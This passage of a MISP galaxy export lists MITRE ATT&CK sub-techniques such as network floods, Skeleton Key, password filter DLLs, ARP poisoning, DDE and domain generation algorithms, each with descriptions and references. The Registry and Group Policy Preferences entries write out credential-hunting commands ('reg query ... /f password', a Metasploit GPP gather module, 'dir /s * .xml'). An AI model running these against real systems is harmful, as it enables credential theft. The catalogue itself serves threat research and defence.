Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG

IranianBotnet March 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Direct Network Flood - T1498.001"*

Table 8339. Table References

Links
https://attack.mitre.org/techniques/T1498/001
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged

OS Exhaustion Flood - T1499.001

Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.

Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)

ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)

The tag is: *misp-galaxy:mitre-attack-pattern="OS Exhaustion Flood - T1499.001"*

Table 8340. Table References

Links
https://attack.mitre.org/techniques/T1499/001
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://web.archive.org/web/20220119104451/https://www.corero.com/resource-hub/syn-ack-flood-attack/

https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/

Domain Controller Authentication - T1556.001

Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.

Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user's account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001"*

Table 8341. Table References

Links
https://attack.mitre.org/techniques/T1556/001
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://www.secureworks.com/research/skeleton-key-malware-analysis

Stored Data Manipulation - T1565.001

Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001"*

Table 8342. Table References

Links

https://attack.mitre.org/techniques/T1565/001
https://www.justice.gov/opa/press-release/file/1092091/download
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf

Social Media Accounts - T1585.001

Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.

Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001"*

Table 8343. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1585/001
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Scanning IP Blocks - T1595.001

Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.

Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open

Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Scanning IP Blocks - T1595.001"*

Table 8344. Table References

Links
https://attack.mitre.org/techniques/T1595/001
https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf

Component Object Model - T1559.001

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)

Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001"*

Table 8345. Table References

Links
https://attack.mitre.org/techniques/T1559/001
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Social Media Accounts - T1586.001

Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1586.001"*

Table 8346. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1586/001
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Fast Flux DNS - T1568.001

Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)

The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)

In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001"*

Table 8347. Table References

Links
https://attack.mitre.org/techniques/T1568/001
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref
https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/

Threat Intel Vendors - T1597.001

Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)

Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under [Search Threat Vendor Data](https://attack.mitre.org/techniques/T1681). Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Threat Intel Vendors - T1597.001"*

Table 8348. Table References

Links
https://attack.mitre.org/techniques/T1597/001
https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/

Credentials in Registry - T1552.002

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
- Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002"*

Table 8349. Table References

Links
https://attack.mitre.org/techniques/T1552/002
https://pentestlab.blog/2017/04/19/stored-credentials/

Conceal Multimedia Files - T1628.003

Adversaries may attempt to hide multimedia files from the user. By doing so, adversaries may conceal captured files, such as pictures, videos and/or screenshots, then later exfiltrate those files.

Specific to Android devices, if the `.nomedia` file is present in a folder, multimedia files in that folder will not be visible to the user in the Gallery application. Additionally, other applications are asked not to scan the folder with the `.nomedia` file, effectively making the folder appear invisible to the user.

This technique is often used by stalkerware and spyware applications.

The tag is: *misp-galaxy:mitre-attack-pattern="Conceal Multimedia Files - T1628.003"*

Table 8350. Table References

Links
https://attack.mitre.org/techniques/T1628/003

Service Exhaustion Flood - T1499.002

Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)

Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Service Exhaustion Flood - T1499.002"*

Table 8351. Table References

Links
https://attack.mitre.org/techniques/T1499/002
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/
https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new

Password Filter DLL - T1556.002

Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002"*

Table 8352. Table References

Links
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
https://attack.mitre.org/techniques/T1556/002
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/

Transmitted Data Manipulation - T1565.002

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002"*

Table 8353. Table References

Links
https://attack.mitre.org/techniques/T1565/002
https://www.justice.gov/opa/press-release/file/1092091/download
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf

Group Policy Preferences - T1552.006

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

- Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>
- Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
- gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP

XML files: <code>dir /s * .xml</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006"*

Table 8354. Table References

Links
https://adsecurity.org/?p=2288
https://attack.mitre.org/techniques/T1552/006
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)
https://msdn.microsoft.com/library/cc422924.aspx
https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html

ARP Cache Poisoning - T1557.002

Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)

Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)

The tag is: *misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002"*

Table 8355. Table References

Links
https://attack.mitre.org/techniques/T1557/002
https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
https://tools.ietf.org/html/rfc826
https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Dynamic Data Exchange - T1559.002

Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)

Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection)

DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002"*

Table 8356. Table References

Links
https://attack.mitre.org/techniques/T1559/002
https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/
https://owasp.org/www-community/attacks/CSV_Injection

https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
https://technet.microsoft.com/library/security/4053440
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
https://www.contextis.com/blog/comma-separated-vulnerabilities
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Domain Generation Algorithms - T1568.002

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002"*

Table 8357. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://csis.pace.edu/}ctappert/srd2017/2017PDF/d4.pdf
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
https://arxiv.org/pdf/1611.00791.pdf

https://attack.mitre.org/techniques/T1568/002
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e
https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

Safe Mode Boot - T1562.009

Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)

Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)

Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009"*

Table 8358. Table References

Links
https://attack.mitre.org/techniques/T1562/009
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit
https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg
https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234
https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/

https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise
https://www.cybereason.com/blog/medusalocker-ransomware

Create Cloud Instance - T1578.002

An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)

Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002"*

Table 8359. Table References

Links
https://attack.mitre.org/techniques/T1578/002
https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
https://cloud.google.com/logging/docs/audit#admin-activity
https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

Code Signing Certificates - T1587.002

Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1587.002"*

Table 8360. Table References

Links

https://attack.mitre.org/techniques/T1587/002
https://en.wikipedia.org/wiki/Code_signing

Purchase Technical Data - T1597.002

Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim's infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Purchase Technical Data - T1597.002"*

Table 8361. Table References

Links
https://attack.mitre.org/techniques/T1597/002
https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/

Virtual Private Server - T1583.003

Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.

Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)

The tag is: *misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003"*

Table 8362. Table References

Links
https://attack.mitre.org/techniques/T1583/003
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
